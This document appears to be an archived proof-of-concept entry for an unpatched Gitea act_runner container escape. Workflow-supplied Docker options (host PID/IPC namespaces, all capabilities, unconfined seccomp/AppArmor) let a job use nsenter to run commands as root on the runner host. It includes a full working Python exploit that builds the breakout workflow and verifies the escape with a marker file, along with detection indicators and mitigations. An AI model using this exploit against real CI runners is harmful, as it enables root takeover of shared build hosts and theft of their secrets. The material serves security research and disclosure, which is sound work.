PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

Gitea act_runner container.options Host Namespace Escape

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
cloud
Affected product
Gitea Actions act_runner (Docker-backed)
Affected versions
act_runner (Docker executor); version not explicitly pinned by source, validated against a current Docker-backed build
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorycloud
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsgitea, act-runner, ci-cd, docker, container-escape, host-namespace, privilege-escalation, capabilities
RelatedN/A

Affected Target

FieldValue
Software / SystemGitea Actions act_runner (Docker-backed)
Versions Affectedact_runner (Docker executor); version not explicitly pinned by source, validated against a current Docker-backed build
Language / PlatformGo (act_runner), Python 3 PoC driver, Linux Docker host
Authentication RequiredYes (ability to trigger a workflow on a repository serviced by the shared runner)
Network Access RequiredNo (workflow-triggered, not a direct network attack against the runner)

Summary

Gitea’s act_runner allows workflow YAML to append Docker options via jobs.<job>.container.options. When the runner configuration disables privileged mode, act_runner forces Privileged back to false and sanitizes bind mounts, but it preserves every other Docker HostConfig field parsed from those options — including PidMode=host, IpcMode=host, CapAdd=["ALL"], and unconfined seccomp/AppArmor security profiles. A workflow that sets these options can therefore share the host’s PID and IPC namespaces with expanded capabilities and no security profile, letting a job container use nsenter to enter the host namespace and execute commands as root on the runner host, even though Privileged reports false. The PoC validated this with the runner’s Docker socket mount disabled, isolating the issue to Docker option handling rather than direct socket access. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

act_runner’s mergeContainerConfigs() parses Docker CLI-style options from workflow-controlled container.options and merges them into the job container’s HostConfig. When privileged mode is disabled, only copts.privileged is forced false; sanitizeConfig() filters only Binds/Mounts, leaving PidMode, IpcMode, CapAdd, SecurityOpt, Devices, and VolumesFrom unchecked and attacker-controllable.

Attack Vector

  1. Attacker with the ability to run a workflow on the affected Docker-backed act_runner (e.g., a PR from an untrusted fork, or a normal contributor account) authors a workflow with container.options: --pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined and an image containing nsenter (e.g., ubuntu:22.04).
  2. The runner creates the job container with Privileged: false but the above HostConfig fields intact.
  3. The job step uses nsenter to enter host PID/IPC namespaces from inside the container.
  4. The workflow step executes a command in the host namespace and writes a marker/output file on the runner host, effectively as root.

Impact

Full host-namespace access and command execution as root on the CI runner host from a workflow-triggered job, despite privileged mode being disabled — a critical risk on shared runners serving untrusted repositories, exposing runner-host secrets, deployment credentials, and adjacent job/build infrastructure.


Environment / Lab Setup

Target:   Docker-backed Gitea act_runner, Linux host, privileged mode disabled, --container-daemon-socket=-
Attacker: Python 3 (stdlib only), an act_runner binary, Docker access on the runner host for validation

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
python3 poc.py --runner ./act_runner --image ubuntu:22.04
python3 poc.py --runner ./act_runner --image ubuntu:22.04 --debug

The script generates a workflow with the dangerous container.options shown above, runs it through act_runner exec (which exercises the real runner code path converting workflow options into Docker HostConfig), and verifies a host-side marker file created via nsenter as proof of host namespace access.


Detection & Indicators of Compromise

Signs of compromise:

  • CI job containers observed calling nsenter or otherwise touching host PID/IPC namespaces
  • Unexpected root-owned files or processes appearing on the runner host correlated with workflow runs
  • Job containers reporting Privileged=false but with host namespace or unconfined security-profile HostConfig fields set

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationTreat workflow-authored container.options as untrusted; reject or allowlist job-level Docker options (strip host namespaces, --cap-add, unconfined security-opt, device access, --volumes-from, --runtime/--cgroup-parent overrides); avoid sharing Docker-backed runners with untrusted repositories

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: gitea-act-runner-container-options-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python3
import argparse
import os
import pathlib
import re
import shutil
import shlex
import subprocess
import sys
import tempfile
import textwrap


DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined"
DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker"
SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok"


def parser():
    p = argparse.ArgumentParser(
        description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape."
    )
    p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.")
    p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.")
    p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.")
    p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.")
    p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.")
    p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.")
    p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.")
    p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.")
    return p


def validate_marker(marker):
    if not marker.startswith("/"):
        raise SystemExit("marker must be an absolute Linux path")
    if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker):
        raise SystemExit("marker contains unsupported characters")
    if marker in {"/", "/tmp", "/var/tmp"}:
        raise SystemExit("marker must be a file path")


def write_workflow(root, marker, image):
    workflows = root / ".gitea" / "workflows"
    workflows.mkdir(parents=True, exist_ok=True)
    marker_q = shlex.quote(marker)
    inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}"
    command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}"
    workflow = f"""
name: gitea-act-runner-container-options-poc

on:
  - push

jobs:
  breakout:
    runs-on: ubuntu-latest
    container:
      image: {image}
      options: >-
        {DEFAULT_OPTIONS}
    steps:
      - name: host namespace marker
        run: |
          set -eu
          {command}
"""
    path = workflows / "poc.yml"
    path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8")
    return path


def run(args, root):
    cmd = [
        args.runner,
        "exec",
        "-C",
        str(root),
        "-W",
        str(root / ".gitea" / "workflows"),
        "-j",
        "breakout",
        "--container-daemon-socket=-",
        "--image",
        args.image,
    ]
    if args.pull:
        cmd.append("--pull")
    if args.debug:
        cmd.append("--debug")
    print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True)
    return subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        timeout=args.timeout,
        check=False,
    )


def read_marker(marker):
    try:
        return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace")
    except FileNotFoundError:
        return ""
    except PermissionError as exc:
        raise SystemExit(f"marker exists but cannot be read: {exc}") from exc


def remove_marker(marker):
    try:
        pathlib.Path(marker).unlink()
    except FileNotFoundError:
        pass
    except PermissionError:
        pass


def main():
    args = parser().parse_args()
    validate_marker(args.marker)
    runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner
    if not runner:
        raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner")
    args.runner = runner

    remove_marker(args.marker)
    temp = None
    if args.workdir:
        root = pathlib.Path(args.workdir).resolve()
        root.mkdir(parents=True, exist_ok=True)
    else:
        temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-")
        root = pathlib.Path(temp.name)

    workflow = write_workflow(root, args.marker, args.image)
    print(f"[*] generated workflow: {workflow}", flush=True)

    try:
        result = run(args, root)
    finally:
        if temp and args.keep_workdir:
            temp.cleanup = lambda: None

    print(result.stdout, end="")
    marker = read_marker(args.marker)
    if result.returncode != 0:
        raise SystemExit(f"act_runner exited with {result.returncode}")
    if SUCCESS_TOKEN not in marker:
        raise SystemExit("marker was not created; host namespace entry was not verified")
    print("[+] verified host marker:")
    print(marker, end="" if marker.endswith("\n") else "\n")


if __name__ == "__main__":
    main()